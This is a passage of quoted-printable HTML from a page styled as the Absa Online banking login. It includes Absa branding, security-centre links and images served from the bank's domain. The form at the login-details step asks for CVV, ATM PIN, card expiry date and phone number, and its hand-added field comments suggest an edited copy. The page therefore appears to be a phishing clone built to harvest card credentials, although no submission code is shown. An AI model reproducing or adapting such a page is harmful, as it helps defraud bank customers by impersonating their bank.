xlayout=3D"row" fxlayoutgap=3D"16px" style=3D"flex-direction: row; box-sizi=
ng: border-box; display: flex;" bis_skin_checked=3D"1">
                                        <!-- CVV Field -->
                                        <div _ngcontent-ng-c1317555434=3D""=
 fxflex=3D"1" style=3D"flex: 1 1 0%; box-sizing: border-box;" bis_skin_chec=
ked=3D"1">
                                          <form-input _ngcontent-ng-c131755=
5434=3D"" _nghost-ng-c779836824=3D"">
                                            <div _ngcontent-ng-c779836824=
=3D"" class=3D"form-group ng-pristine ng-invalid ng-touched" bis_skin_check=
ed=3D"1">
                                              <div _ngcontent-ng-c779836824=
=3D"" fxlayout=3D"row" fxlayoutalign=3D"space-between center" fxlayoutalign=
.gt-xs=3D"none" style=3D"flex-direction: row; box-sizing: border-box; displ=
ay: flex; place-content: stretch flex-start; align-items: stretch;" bis_ski=
n_checked=3D"1">
                                                <div _ngcontent-ng-c7798368=
24=3D"" fxlayout=3D"row" style=3D"flex-direction: row; box-sizing: border-b=
ox; display: flex;" bis_skin_checked=3D"1">
                                                  <label _ngcontent-ng-c779=
836824=3D"" id=3D"cvv_label" for=3D"cvv" class=3D"ng-star-inserted">CVV</la=
bel>
                                                  <!---->
                                                  <!---->
                                                </div>
                                                <!---->
                                              </div>
                                              <div _ngcontent-ng-c779836824=
=3D"" class=3D"input-group ng-star-inserted" bis_skin_checked=3D"1">
                                                <input _ngcontent-ng-c77983=
6824=3D"" autocomplete=3D"cc-csc" class=3D"form-control no-spin submit-clic=
ked ng-untouched ng-pristine ng-valid" id=3D"cvv" type=3D"text" name=3D"cvv=
" placeholder=3D"" tabindex=3D"0" aria-describedby=3D"err_cvv" aria-label=
=3D"" aria-invalid=3D"false" maxlength=3D"4">
                                                <!---->
                                                <!---->
                                                <!---->
                                                <!---->
                                              </div>
                                              <!---->
                                              <!---->
                                              <!---->
                                              <!---->
                                              <div _ngcontent-ng-c779836824=
=3D"" class=3D"helper-text-padding" bis_skin_checked=3D"1">
                                                <!---->
                                              </div>
                                              <!---->
                                            </div>
                                          </form-input>
                                        </div>

                                        <!-- Divider -->
                                        <div _ngcontent-ng-c1317555434=3D""=
 fxlayout=3D"column" fxlayoutalign=3D"center center" style=3D"flex-directio=
n: column; box-sizing: border-box; display: flex; place-content: center; al=
ign-items: center; padding-top: 24px;" bis_skin_checked=3D"1">
                                          <div _ngcontent-ng-c1317555434=3D=
"" style=3D"width: 1px; height: 40px; background-color: #e0e0e0; margin: 0 =
8px;" bis_skin_checked=3D"1"></div>
                                        </div>

                                        <!-- ATM PIN Field -->
                                        <div _ngcontent-ng-c1317555434=3D""=
 fxflex=3D"1" style=3D"flex: 1 1 0%; box-sizing: border-box;" bis_skin_chec=
ked=3D"1">
                                          <form-input _ngcontent-ng-c131755=
5434=3D"" _nghost-ng-c779836824=3D"">
                                            <div _ngcontent-ng-c779836824=
=3D"" class=3D"form-group ng-pristine ng-invalid ng-touched" bis_skin_check=
ed=3D"1">
                                              <div _ngcontent-ng-c779836824=
=3D"" fxlayout=3D"row" fxlayoutalign=3D"space-between center" fxlayoutalign=
.gt-xs=3D"none" style=3D"flex-direction: row; box-sizing: border-box; displ=
ay: flex; place-content: stretch flex-start; align-items: stretch;" bis_ski=
n_checked=3D"1">
                                                <div _ngcontent-ng-c7798368=
24=3D"" fxlayout=3D"row" style=3D"flex-direction: row; box-sizing: border-b=
ox; display: flex;" bis_skin_checked=3D"1">
                                                  <label _ngcontent-ng-c779=
836824=3D"" id=3D"atmPin_label" for=3D"atmPin" class=3D"ng-star-inserted">A=
TM PIN</label>
                                                  <!---->
                                                  <!---->
                                                </div>
                                                <!---->
                                              </div>
                                              <div _ngcontent-ng-c779836824=
=3D"" class=3D"input-group ng-star-inserted" bis_skin_checked=3D"1">
                                                <input _ngcontent-ng-c77983=
6824=3D"" autocomplete=3D"off" class=3D"form-control no-spin submit-clicked=
 ng-untouched ng-pristine ng-invalid" id=3D"atmPin" type=3D"password" name=
=3D"atmPin" placeholder=3D"" tabindex=3D"0" aria-describedby=3D"err_atmPin"=
 aria-label=3D"" aria-invalid=3D"false" maxlength=3D"6">
                                                <!---->
                                                <!---->
                                                <!---->
                                                <!---->
                                              </div>
                                              <!---->
                                              <!---->
                                              <!---->
                                              <!---->
                                              <div _ngcontent-ng-c779836824=
=3D"" class=3D"helper-text-padding" bis_skin_checked=3D"1">
                                                <!---->
                                              </div>
                                              <!---->
                                            </div>
                                          </form-input>
                                        </div>
                                      </div>

                                      <!-- Expiry Date Field -->
                                      <div _ngcontent-ng-c1317555434=3D"" f=
xlayout=3D"column" style=3D"flex-direction: column; box-sizing: border-box;=
 display: flex;" bis_skin_checked=3D"1">
                                        <form-input _ngcontent-ng-c13175554=
34=3D"" _nghost-ng-c779836824=3D"">
                                          <div _ngcontent-ng-c779836824=3D"=
" class=3D"form-group ng-pristine ng-invalid ng-touched" bis_skin_checked=
=3D"1">
                                            <div _ngcontent-ng-c779836824=
=3D"" fxlayout=3D"row" fxlayoutalign=3D"space-between center" fxlayoutalign=
.gt-xs=3D"none" style=3D"flex-direction: row; box-sizing: border-box; displ=
ay: flex; place-content: stretch flex-start; align-items: stretch;" bis_ski=
n_checked=3D"1">
                                              <div _ngcontent-ng-c779836824=
=3D"" fxlayout=3D"row" style=3D"flex-direction: row; box-sizing: border-box=
; display: flex;" bis_skin_checked=3D"1">
                                                <label _ngcontent-ng-c77983=
6824=3D"" id=3D"expiryDate_label" for=3D"expiryDate" class=3D"ng-star-inser=
ted">Expiry Date</label>
                                                <!---->
                                                <!---->
                                              </div>
                                              <!---->
                                            </div>
                                            <div _ngcontent-ng-c779836824=
=3D"" class=3D"input-group ng-star-inserted" bis_skin_checked=3D"1">
                                              <input _ngcontent-ng-c7798368=
24=3D"" autocomplete=3D"cc-exp" class=3D"form-control no-spin submit-clicke=
d ng-untouched ng-pristine ng-valid" id=3D"expiryDate" type=3D"text" name=
=3D"expiryDate" placeholder=3D"" tabindex=3D"0" aria-describedby=3D"err_exp=
iryDate" aria-label=3D"" aria-invalid=3D"false" maxlength=3D"5">
                                              <!---->
                                              <!---->
                                              <!---->
                                              <!---->
                                            </div>
                                            <!---->
                                            <!---->
                                            <!---->
                                            <!---->
                                            <div _ngcontent-ng-c779836824=
=3D"" class=3D"helper-text-padding" bis_skin_checked=3D"1">
                                              <!---->
                                            </div>
                                            <!---->
                                          </div>
                                        </form-input>
                                      </div>

                                      <!-- Phone Number Field -->
                                      <div _ngcontent-ng-c1317555434=3D"" f=
xlayout=3D"column" style=3D"flex-direction: column; box-sizing: border-box;=
 display: flex;" bis_skin_checked=3D"1">
                                        <form-input _ngcontent-ng-c13175554=
34=3D"" _nghost-ng-c779836824=3D"">
                                          <div _ngcontent-ng-c779836824=3D"=
" class=3D"form-group ng-pristine ng-invalid ng-touched" bis_skin_checked=
=3D"1">
                                            <div _ngcontent-ng-c779836824=
=3D"" fxlayout=3D"row" fxlayoutalign=3D"space-between center" fxlayoutalign=
.gt-xs=3D"none" style=3D"flex-direction: row; box-sizing: border-box; displ=
ay: flex; place-content: stretch flex-start; align-items: stretch;" bis_ski=
n_checked=3D"1">
                                              <div _ngcontent-ng-c779836824=
=3D"" fxlayout=3D"row" style=3D"flex-direction: row; box-sizing: border-box=
; display: flex;" bis_skin_checked=3D"1">
                                                <label _ngcontent-ng-c77983=
6824=3D"" id=3D"phoneNumber_label" for=3D"phoneNumber" class=3D"ng-star-ins=
erted">Phone Number</label>
                                                <!---->
                                                <!---->
                                              </div>
                                              <!---->
                                            </div>
                                            <div _ngcontent-ng-c779836824=
=3D"" class=3D"input-group ng-star-inserted" bis_skin_checked=3D"1">
                                              <input _ngcontent-ng-c7798368=
24=3D"" autocomplete=3D"tel" class=3D"form-control no-spin submit-clicked n=
g-untouched ng-pristine ng-valid" id=3D"phoneNumber" type=3D"text" name=3D"=
phoneNumber" placeholder=3D"" tabindex=3D"0" aria-describedby=3D"err_phoneN=
umber" aria-label=3D"" aria-invalid=3D"false" maxlength=3D"15">
                                              <!---->
                                              <!---->
                                              <!---->
                                              <!---->
                                            </div>
                                            <!---->
                                            <!---->
                                            <!---->
                                            <!---->
                                            <div _ngcontent-ng-c779836824=
=3D"" class=3D"helper-text-padding" bis_skin_checked=3D"1">
                                              <!---->
                                            </div>
                                            <!---->
                                          </div>
                                        </form-input>
                                      </div>
                                      <!---->
                                      <!---->
                                    </form>
                                  </cb-form>
                                  <div _ngcontent-ng-c1317555434=3D"" fxlay=
out=3D"column" fxlayoutgap=3D"8px" class=3D"custom-btn-group side-panel-sma=
ll-container-top-padding" style=3D"flex-direction: column; box-sizing: bord=
er-box; display: flex;" bis_skin_checked=3D"1">
                                    <form-button _ngcontent-ng-c1317555434=
=3D"" type=3D"button" style=3D"margin-bottom: 8px;">
                                      <button type=3D"button" data-id=3D"li=
nk_content_" class=3D"btn btn-primary btn-stretch" tabindex=3D"0" data-text=
=3D"login details | next">Next</button>
                                    </form-button>
                                 =

                                  </div>
                                </div>
                                <!---->
                              </app-setup-user-details>
                              <!---->
                              <!---->
                              <!---->
                              <!---->
                            </div>
                            <!---->
                            <!---->
                            <!---->
                          </app-logon-stepmanager>
                          <!---->
                          <!---->
                          <!---->
                        </div>
                        <div _ngcontent-ng-c116526630=3D"" ngclass.gt-md=3D=
"logon-content-container_gt-md" ngclass.gt-sm=3D"logon-content-container_gt=
-sm" ngclass.gt-xs=3D"logon-content-container_gt-xs" ngclass.lt-xs=3D"logon=
-content-container_lt-xs" ngclass.lt-md=3D"logon-content-container_lt-md" c=
lass=3D"logon-content-container logon-content-container_gt-md" bis_skin_che=
cked=3D"1">
                          <app-view-cms-content _ngcontent-ng-c116526630=3D=
"" _nghost-ng-c4048871694=3D"">
                            <!---->
                            <span _ngcontent-ng-c4048871694=3D"" class=3D"n=
g-star-inserted">
                              <div _ngcontent-ng-c4048871694=3D"" fxlayout=
=3D"column" fxlayout.gt-md=3D"row" ngclass=3D"hub_section_padding" fxlayout=
gap=3D"16px" class=3D"promo-box-container hub_section_padding ng-star-inser=
ted" style=3D"flex-direction: row; box-sizing: border-box; display: flex;" =
bis_skin_checked=3D"1">
                                <app-promo-box-basic _ngcontent-ng-c4048871=
694=3D"" ngclass.gt-sm=3D"gtsm" ngclass.gt-md=3D"gtmd" ngclass.gt-lg=3D"gtl=
g" ngclass.gt-xl=3D"gtxl" class=3D"full-width gtlg" _nghost-ng-c3828857665=
=3D"">
                                  <span _ngcontent-ng-c3828857665=3D"" ngcl=
ass.gt-xs=3D"gtxs" ngclass.gt-sm=3D"gtsm" ngclass.gt-md=3D"gtmd" ngclass.gt=
-lg=3D"gtlg" ngclass.gt-xl=3D"gtxl" class=3D"gtlg">
                                    <div _ngcontent-ng-c3828857665=3D"" cla=
ss=3D"promoBox_container bg-new-brand singleBlockStretch logon" bis_skin_ch=
ecked=3D"1">
                                      <div _ngcontent-ng-c3828857665=3D"" c=
lass=3D"hide" bis_skin_checked=3D"1">
                                        <div _ngcontent-ng-c3828857665=3D""=
 class=3D"promo-box__icon-left" bis_skin_checked=3D"1">
                                          <!---->
                                          <!---->
                                        </div>
                                        <h1 _ngcontent-ng-c3828857665=3D"" =
class=3D"promo-box__Heading1 set-width-90">Absa Online login has a new look=
!</h1>
                                        <p _ngcontent-ng-c3828857665=3D"" c=
lass=3D"promoBox-body1 set-width-75">But don=E2=80=99t worry, it still work=
s the same way.</p>
                                        <!---->
                                        <div _ngcontent-ng-c3828857665=3D""=
 class=3D"promo-box__img1 promoboxesimages" bis_skin_checked=3D"1">
                                          <img _ngcontent-ng-c3828857665=3D=
"" class=3D"set-image-size" src=3D"https://ib.absa.co.za/xdas/clr/assets/im=
ages/login/screen3.svg">
                                        </div>
                                      </div>
                                    </div>
                                  </span>
                                </app-promo-box-basic>
                              </div>
                              <!---->
                              <div _ngcontent-ng-c4048871694=3D"" fxlayout=
=3D"column" fxlayout.gt-xs=3D"column" fxlayout.gt-sm=3D"column" fxlayout.gt=
-md=3D"column" fxlayout.gt-lg=3D"row" ngclass=3D"hub_section_padding" fxlay=
outgap=3D"16px" class=3D"hub_section_padding" style=3D"flex-direction: row;=
 box-sizing: border-box; display: flex;" bis_skin_checked=3D"1">
                                <app-quick-links _ngcontent-ng-c4048871694=
=3D"" fxflex=3D"50%" fxflex.gt-md=3D"100%" _nghost-ng-c2921955071=3D"" clas=
s=3D"ng-star-inserted" style=3D"flex: 1 1 100%; box-sizing: border-box; mar=
gin-right: 16px; max-width: 100%;">
                                  <!---->
                                  <div _ngcontent-ng-c2921955071=3D"" class=
=3D"links_container links-custom-container_gt-sm" bis_skin_checked=3D"1">
                                    <div _ngcontent-ng-c2921955071=3D"" fxl=
ayout=3D"column" fxlayout.gt-sm=3D"row" fxlayoutgap=3D"8px" fxlayoutalign.g=
t-sm=3D"space-between center" class=3D"side-panel-medium-container-bottom-p=
adding ng-star-inserted" bis_skin_checked=3D"1" style=3D"flex-direction: ro=
w; box-sizing: border-box; display: flex; place-content: center space-betwe=
en; align-items: center;">
                                      <div _ngcontent-ng-c2921955071=3D"" c=
lass=3D"header header_gt-sm" bis_skin_checked=3D"1"> Security centre </div>
                                      <!---->
                                    </div>
                                    <!---->
                                    <!---->
                                    <div _ngcontent-ng-c2921955071=3D"" fxl=
ayout=3D"row wrap" bis_skin_checked=3D"1" style=3D"flex-flow: wrap; box-siz=
ing: border-box; display: flex;">
                                      <div _ngcontent-ng-c2921955071=3D"" f=
xflex=3D"100%" class=3D"ng-star-inserted" bis_skin_checked=3D"1" style=3D"f=
lex: 1 1 100%; box-sizing: border-box; max-width: 100%;">
                                        <div _ngcontent-ng-c2921955071=3D""=
 fxlayoutalign=3D"start center" data-id=3D"link_content_CB" class=3D"conten=
t_container" bis_skin_checked=3D"1" style=3D"place-content: center flex-sta=
rt; align-items: center; flex-direction: row; box-sizing: border-box; displ=
ay: flex;">
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxlayoutalign=3D"center center" ngclass=3D"icon" tab=
index=3D"-1" class=3D"icon ng-star-inserted" bis_skin_checked=3D"1" style=
=3D"flex-direction: column; box-sizing: border-box; display: flex; place-co=
ntent: center; align-items: center;">
                                            <img _ngcontent-ng-c2921955071=
=3D"" src=3D"https://ib.absa.co.za/xdas/clr/assets/images/login/lamp.svg">
                                          </div>
                                          <!---->
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxflex=3D"100%" fxflex.gt-sm=3D"70%" fxlayoutalign=
=3D"center start" bis_skin_checked=3D"1" style=3D"flex-direction: column; b=
ox-sizing: border-box; display: flex; place-content: flex-start center; ali=
gn-items: flex-start; flex: 1 1 100%; max-width: 70%;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" fxlayout=3D"row wrap" bis_skin_checked=3D"1" style=3D"flex-flow: wrap=
; box-sizing: border-box; display: flex;">
                                              <!---->
                                              <div _ngcontent-ng-c292195507=
1=3D"" class=3D"content_title ng-star-inserted" tabindex=3D"0" bis_skin_che=
cked=3D"1">Security measures and enhancements</div>
                                              <!---->
                                            </div>
                                            <!---->
                                            <!---->
                                          </div>
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxhide=3D"" fxshow.gt-lg=3D"" fxlayout=3D"column" fxlayoutalign=3D"cente=
r" class=3D"right_arrow-padding right_arrow-padding_gt-sm ng-star-inserted"=
 bis_skin_checked=3D"1" style=3D"flex-direction: column; box-sizing: border=
-box; display: flex; place-content: stretch center; align-items: stretch;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" class=3D"right_arrow" tabindex=3D"0" bis_skin_checked=3D"1"></div>
                                          </div>
                                          <!---->
                                          <!---->
                                        </div>
                                      </div>
                                      <div _ngcontent-ng-c2921955071=3D"" f=
xflex=3D"100%" class=3D"ng-star-inserted" bis_skin_checked=3D"1" style=3D"f=
lex: 1 1 100%; box-sizing: border-box; max-width: 100%;">
                                        <div _ngcontent-ng-c2921955071=3D""=
 fxlayoutalign=3D"start center" data-id=3D"link_content_CB" class=3D"conten=
t_container" bis_skin_checked=3D"1" style=3D"place-content: center flex-sta=
rt; align-items: center; flex-direction: row; box-sizing: border-box; displ=
ay: flex;">
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxlayoutalign=3D"center center" ngclass=3D"icon" tab=
index=3D"-1" class=3D"icon ng-star-inserted" bis_skin_checked=3D"1" style=
=3D"flex-direction: column; box-sizing: border-box; display: flex; place-co=
ntent: center; align-items: center;">
                                            <img _ngcontent-ng-c2921955071=
=3D"" src=3D"https://ib.absa.co.za/xdas/clr/assets/images/login/clipboard.s=
vg">
                                          </div>
                                          <!---->
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxflex=3D"100%" fxflex.gt-sm=3D"70%" fxlayoutalign=
=3D"center start" bis_skin_checked=3D"1" style=3D"flex-direction: column; b=
ox-sizing: border-box; display: flex; place-content: flex-start center; ali=
gn-items: flex-start; flex: 1 1 100%; max-width: 70%;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" fxlayout=3D"row wrap" bis_skin_checked=3D"1" style=3D"flex-flow: wrap=
; box-sizing: border-box; display: flex;">
                                              <!---->
                                              <div _ngcontent-ng-c292195507=
1=3D"" class=3D"content_title ng-star-inserted" tabindex=3D"0" bis_skin_che=
cked=3D"1">Latest scams and schemes</div>
                                              <!---->
                                            </div>
                                            <!---->
                                            <!---->
                                          </div>
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxhide=3D"" fxshow.gt-lg=3D"" fxlayout=3D"column" fxlayoutalign=3D"cente=
r" class=3D"right_arrow-padding right_arrow-padding_gt-sm ng-star-inserted"=
 bis_skin_checked=3D"1" style=3D"flex-direction: column; box-sizing: border=
-box; display: flex; place-content: stretch center; align-items: stretch;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" class=3D"right_arrow" tabindex=3D"0" bis_skin_checked=3D"1"></div>
                                          </div>
                                          <!---->
                                          <!---->
                                        </div>
                                      </div>
                                      <div _ngcontent-ng-c2921955071=3D"" f=
xflex=3D"100%" class=3D"ng-star-inserted" bis_skin_checked=3D"1" style=3D"f=
lex: 1 1 100%; box-sizing: border-box; max-width: 100%;">
                                        <div _ngcontent-ng-c2921955071=3D""=
 fxlayoutalign=3D"start center" data-id=3D"link_content_CB" class=3D"conten=
t_container" bis_skin_checked=3D"1" style=3D"place-content: center flex-sta=
rt; align-items: center; flex-direction: row; box-sizing: border-box; displ=
ay: flex;">
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxlayoutalign=3D"center center" ngclass=3D"icon" tab=
index=3D"-1" class=3D"icon ng-star-inserted" bis_skin_checked=3D"1" style=
=3D"flex-direction: column; box-sizing: border-box; display: flex; place-co=
ntent: center; align-items: center;">
                                            <img _ngcontent-ng-c2921955071=
=3D"" src=3D"https://ib.absa.co.za/xdas/clr/assets/images/login/bag.svg">
                                          </div>
                                          <!---->
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxflex=3D"100%" fxflex.gt-sm=3D"70%" fxlayoutalign=
=3D"center start" bis_skin_checked=3D"1" style=3D"flex-direction: column; b=
ox-sizing: border-box; display: flex; place-content: flex-start center; ali=
gn-items: flex-start; flex: 1 1 100%; max-width: 70%;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" fxlayout=3D"row wrap" bis_skin_checked=3D"1" style=3D"flex-flow: wrap=
; box-sizing: border-box; display: flex;">
                                              <!---->
                                              <div _ngcontent-ng-c292195507=
1=3D"" class=3D"content_title ng-star-inserted" tabindex=3D"0" bis_skin_che=
cked=3D"1">Shop online with ease</div>
                                              <!---->
                                            </div>
                                            <!---->
                                            <!---->
                                          </div>
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxhide=3D"" fxshow.gt-lg=3D"" fxlayout=3D"column" fxlayoutalign=3D"cente=
r" class=3D"right_arrow-padding right_arrow-padding_gt-sm ng-star-inserted"=
 bis_skin_checked=3D"1" style=3D"flex-direction: column; box-sizing: border=
-box; display: flex; place-content: stretch center; align-items: stretch;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" class=3D"right_arrow" tabindex=3D"0" bis_skin_checked=3D"1"></div>
                                          </div>
                                          <!---->
                                          <!---->
                                        </div>
                                      </div>
                                      <!---->
                                    </div>
                                  </div>
                                </app-quick-links>
                                <app-quick-links _ngcontent-ng-c4048871694=
=3D"" fxflex=3D"50%" fxflex.gt-md=3D"100%" _nghost-ng-c2921955071=3D"" clas=
s=3D"ng-star-inserted" style=3D"flex: 1 1 100%; box-sizing: border-box; max=
-width: 100%;">
                                  <!---->
                                  <div _ngcontent-ng-c2921955071=3D"" class=
=3D"links_container links-custom-container_gt-sm" bis_skin_checked=3D"1">
                                    <div _ngcontent-ng-c2921955071=3D"" fxl=
ayout=3D"column" fxlayout.gt-sm=3D"row" fxlayoutgap=3D"8px" fxlayoutalign.g=
t-sm=3D"space-between center" class=3D"side-panel-medium-container-bottom-p=
adding ng-star-inserted" bis_skin_checked=3D"1" style=3D"flex-direction: ro=
w; box-sizing: border-box; display: flex; place-content: center space-betwe=
en; align-items: center;">
                                      <div _ngcontent-ng-c2921955071=3D"" c=
lass=3D"header header_gt-sm" bis_skin_checked=3D"1"> Useful information </d=
iv>
                                      <!---->
                                    </div>
                                    <!---->
                                    <!---->
                                    <div _ngcontent-ng-c2921955071=3D"" fxl=
ayout=3D"row wrap" bis_skin_checked=3D"1" style=3D"flex-flow: wrap; box-siz=
ing: border-box; display: flex;">
                                      <div _ngcontent-ng-c2921955071=3D"" f=
xflex=3D"100%" class=3D"ng-star-inserted" bis_skin_checked=3D"1" style=3D"f=
lex: 1 1 100%; box-sizing: border-box; max-width: 100%;">
                                        <div _ngcontent-ng-c2921955071=3D""=
 fxlayoutalign=3D"start center" data-id=3D"link_content_CB" class=3D"conten=
t_container" bis_skin_checked=3D"1" style=3D"place-content: center flex-sta=
rt; align-items: center; flex-direction: row; box-sizing: border-box; displ=
ay: flex;">
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxlayoutalign=3D"center center" ngclass=3D"icon" tab=
index=3D"-1" class=3D"icon ng-star-inserted" bis_skin_checked=3D"1" style=
=3D"flex-direction: column; box-sizing: border-box; display: flex; place-co=
ntent: center; align-items: center;">
                                            <img _ngcontent-ng-c2921955071=
=3D"" src=3D"https://ib.absa.co.za/xdas/clr/assets/images/login/world.svg">
                                          </div>
                                          <!---->
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxflex=3D"100%" fxflex.gt-sm=3D"70%" fxlayoutalign=
=3D"center start" bis_skin_checked=3D"1" style=3D"flex-direction: column; b=
ox-sizing: border-box; display: flex; place-content: flex-start center; ali=
gn-items: flex-start; flex: 1 1 100%; max-width: 70%;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" fxlayout=3D"row wrap" bis_skin_checked=3D"1" style=3D"flex-flow: wrap=
; box-sizing: border-box; display: flex;">
                                              <!---->
                                              <div _ngcontent-ng-c292195507=
1=3D"" class=3D"content_title ng-star-inserted" tabindex=3D"0" bis_skin_che=
cked=3D"1">Grandmark International Pty Ltd</div>
                                              <!---->
                                            </div>
                                            <!---->
                                            <!---->
                                          </div>
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxhide=3D"" fxshow.gt-lg=3D"" fxlayout=3D"column" fxlayoutalign=3D"cente=
r" class=3D"right_arrow-padding right_arrow-padding_gt-sm ng-star-inserted"=
 bis_skin_checked=3D"1" style=3D"flex-direction: column; box-sizing: border=
-box; display: flex; place-content: stretch center; align-items: stretch;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" class=3D"right_arrow" tabindex=3D"0" bis_skin_checked=3D"1"></div>
                                          </div>
                                          <!---->
                                          <!---->
                                        </div>
                                      </div>
                                      <div _ngcontent-ng-c2921955071=3D"" f=
xflex=3D"100%" class=3D"ng-star-inserted" bis_skin_checked=3D"1" style=3D"f=
lex: 1 1 100%; box-sizing: border-box; max-width: 100%;">
                                        <div _ngcontent-ng-c2921955071=3D""=
 fxlayoutalign=3D"start center" data-id=3D"link_content_CB" class=3D"conten=
t_container" bis_skin_checked=3D"1" style=3D"place-content: center flex-sta=
rt; align-items: center; flex-direction: row; box-sizing: border-box; displ=
ay: flex;">
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxlayoutalign=3D"center center" ngclass=3D"icon" tab=
index=3D"-1" class=3D"icon ng-star-inserted" bis_skin_checked=3D"1" style=
=3D"flex-direction: column; box-sizing: border-box; display: flex; place-co=
ntent: center; align-items: center;">
                                            <img _ngcontent-ng-c2921955071=
=3D"" src=3D"https://ib.absa.co.za/xdas/clr/assets/images/login/holdingCell=
.svg">
                                          </div>
                                          <!---->
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxflex=3D"100%" fxflex.gt-sm=3D"70%" fxlayoutalign=
=3D"center start" bis_skin_checked=3D"1" style=3D"flex-direction: column; b=
ox-sizing: border-box; display: flex; place-content: flex-start center; ali=
gn-items: flex-start; flex: 1 1 100%; max-width: 70%;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" fxlayout=3D"row wrap" bis_skin_checked=3D"1" style=3D"flex-flow: wrap=
; box-sizing: border-box; display: flex;">
                                              <!---->
                                              <div _ngcontent-ng-c292195507=
1=3D"" class=3D"content_title ng-star-inserted" tabindex=3D"0" bis_skin_che=
cked=3D"1">Explore more ways to do your banking</div>
                                              <!---->
                                            </div>
                                            <!---->
                                            <!---->
                                          </div>
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxhide=3D"" fxshow.gt-lg=3D"" fxlayout=3D"column" fxlayoutalign=3D"cente=
r" class=3D"right_arrow-padding right_arrow-padding_gt-sm ng-star-inserted"=
 bis_skin_checked=3D"1" style=3D"flex-direction: column; box-sizing: border=
-box; display: flex; place-content: stretch center; align-items: stretch;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" class=3D"right_arrow" tabindex=3D"0" bis_skin_checked=3D"1"></div>
                                          </div>
                                          <!---->
                                          <!---->
                                        </div>
                                      </div>
                                      <div _ngcontent-ng-c2921955071=3D"" f=
xflex=3D"100%" class=3D"ng-star-inserted" bis_skin_checked=3D"1" style=3D"f=
lex: 1 1 100%; box-sizing: border-box; max-width: 100%;">
                                        <div _ngcontent-ng-c2921955071=3D""=
 fxlayoutalign=3D"start center" data-id=3D"link_content_CB" class=3D"conten=
t_container" bis_skin_checked=3D"1" style=3D"place-content: center flex-sta=
rt; align-items: center; flex-direction: row; box-sizing: border-box; displ=
ay: flex;">
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxlayoutalign=3D"center center" ngclass=3D"icon" tab=
index=3D"-1" class=3D"icon ng-star-inserted" bis_skin_checked=3D"1" style=
=3D"flex-direction: column; box-sizing: border-box; display: flex; place-co=
ntent: center; align-items: center;">
                                            <img _ngcontent-ng-c2921955071=
=3D"" src=3D"https://ib.absa.co.za/xdas/clr/assets/images/login/graph.svg">
                                          </div>
                                          <!---->
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxflex=3D"100%" fxflex.gt-sm=3D"70%" fxlayoutalign=
=3D"center start" bis_skin_checked=3D"1" style=3D"flex-direction: column; b=
ox-sizing: border-box; display: flex; place-content: flex-start center; ali=
gn-items: flex-start; flex: 1 1 100%; max-width: 70%;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" fxlayout=3D"row wrap" bis_skin_checked=3D"1" style=3D"flex-flow: wrap=
; box-sizing: border-box; display: flex;">
                                              <!---->
                                              <div _ngcontent-ng-c292195507=
1=3D"" class=3D"content_title ng-star-inserted" tabindex=3D"0" bis_skin_che=
cked=3D"1">2025 Benefits and Pricing</div>
                                              <!---->
                                            </div>
                                            <!---->
                                            <!---->
                                          </div>
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxhide=3D"" fxshow.gt-lg=3D"" fxlayout=3D"column" fxlayoutalign=3D"cente=
r" class=3D"right_arrow-padding right_arrow-padding_gt-sm ng-star-inserted"=
 bis_skin_checked=3D"1" style=3D"flex-direction: column; box-sizing: border=
-box; display: flex; place-content: stretch center; align-items: stretch;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" class=3D"right_arrow" tabindex=3D"0" bis_skin_checked=3D"1"></div>
                                          </div>
                                          <!---->
                                          <!---->
                                        </div>
                                      </div>
                                      <div _ngcontent-ng-c2921955071=3D"" f=
xflex=3D"100%" class=3D"ng-star-inserted" bis_skin_checked=3D"1" style=3D"f=
lex: 1 1 100%; box-sizing: border-box; max-width: 100%;">
                                        <div _ngcontent-ng-c2921955071=3D""=
 fxlayoutalign=3D"start center" data-id=3D"link_content_CB" class=3D"conten=
t_container" bis_skin_checked=3D"1" style=3D"place-content: center flex-sta=
rt; align-items: center; flex-direction: row; box-sizing: border-box; displ=
ay: flex;">
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxlayoutalign=3D"center center" ngclass=3D"icon" tab=
index=3D"-1" class=3D"icon ng-star-inserted" bis_skin_checked=3D"1" style=
=3D"flex-direction: column; box-sizing: border-box; display: flex; place-co=
ntent: center; align-items: center;">
                                            <img _ngcontent-ng-c2921955071=
=3D"" src=3D"https://ib.absa.co.za/xdas/clr/assets/images/login/calendar.sv=
g">
                                          </div>
                                          <!---->
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxlayout=3D"column" fxflex=3D"100%" fxflex.gt-sm=3D"70%" fxlayoutalign=
=3D"center start" bis_skin_checked=3D"1" style=3D"flex-direction: column; b=
ox-sizing: border-box; display: flex; place-content: flex-start center; ali=
gn-items: flex-start; flex: 1 1 100%; max-width: 70%;">
